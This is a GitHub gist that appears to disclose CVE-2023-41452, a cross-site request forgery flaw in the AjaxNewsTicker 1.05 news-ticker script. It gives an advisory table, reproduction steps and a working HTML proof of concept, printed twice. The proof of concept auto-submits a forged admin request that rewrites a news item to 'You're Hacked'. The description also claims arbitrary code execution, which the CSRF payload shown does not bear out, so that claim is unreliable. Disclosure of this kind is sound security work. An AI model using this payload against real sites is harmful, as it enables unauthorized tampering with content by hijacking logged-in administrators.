/Cross Site Request Forgery (CSRF) Vulnerability PoC #8 - AjaxNewsTicker - CVE-2023-41452.txt Secret
Last active
September 27, 2023 11:42
-
-
Save RNPG/32be1c4bae6f9378d4f382ba0c92b367 to your computer and use it in GitHub Desktop.
CVE-2023-41452
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Vulnerability Type: Cross Site Request Forgery (CSRF) Vulnerability | |
| Vendor of Product: phpkobo | |
| Affected Product Code Base: AjaxNewsTicker | |
| Product Version: 1.05 | |
| Description: Cross Site Request Forgery vulnerability in phpkobo AjaxNewTicker v.1.0.5 allows a remote attacker to execute arbitrary code via a crafted payload inside the "txt" parameter in the "news" text in the index.php component. | |
| Attack Vectors: In order to exploit this attack, the attacker needs to manipulate a cross-site request coming from the target and enforce the victim to click on the malicious link. | |
| Attack Type: Remote | |
| Payload: | |
| <html> | |
| <body> | |
| <script> history.pushState('','','/')</script> | |
| <form action="http://localhost:2222/ntic/admin/index.php?_rtp=nticker&_be=1" method="POST" enctype="text/plain"> | |
| <input type="hidden" name="requ" value="{"cmd":"edit_done","id":"3524","form":{"title":"test_rnpg50","news":[{"txt":"You're Hacked"}],"t_movein":"1000","t_pause":"2000","speed_moveout":"100","fc_news":"","bc_news":"#FFFFFF","fc_btn":"#E0E0E0","bc_btn":"#404040","rc_ctar":"#404040","notes":"","pinidx":0}}"/> | |
| <input type="submit" value="submit request"/> | |
| </form> | |
| <script> | |
| document.forms[0].submit(); | |
| </script> | |
| </body> | |
| </html> | |
| Assigned CVE-ID: CVE-2023-41452 | |
| Discoverer: Pedram Khazaei, Raspina Net Pars Group (RNPG Ltd.) | |
| Steps To Reproduce | |
| 1. Browse the the following URL: https://<target.xyz>/ntic/admin/index.php?_rtp=nticker | |
| 2. Add a "news" | |
| 3. Add some title for newly added "news" | |
| 4. Add some text for newly added "news" | |
| 5. Insert the payload in the text of the "news" | |
| 6. You can execute arbitrary code via a crafted payload to the "txt" parameter in the index.php component. | |
| #PoC | |
| <html> | |
| <body> | |
| <script> history.pushState('','','/')</script> | |
| <form action="http://localhost:2222/ntic/admin/index.php?_rtp=nticker&_be=1" method="POST" enctype="text/plain"> | |
| <input type="hidden" name="requ" value="{"cmd":"edit_done","id":"3524","form":{"title":"test_rnpg50","news":[{"txt":"You're Hacked"}],"t_movein":"1000","t_pause":"2000","speed_moveout":"100","fc_news":"","bc_news":"#FFFFFF","fc_btn":"#E0E0E0","bc_btn":"#404040","rc_ctar":"#404040","notes":"","pinidx":0}}"/> | |
| <input type="submit" value="submit request"/> | |
| </form> | |
| <script> | |
| document.forms[0].submit(); | |
| </script> | |
| </body> | |
| </html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment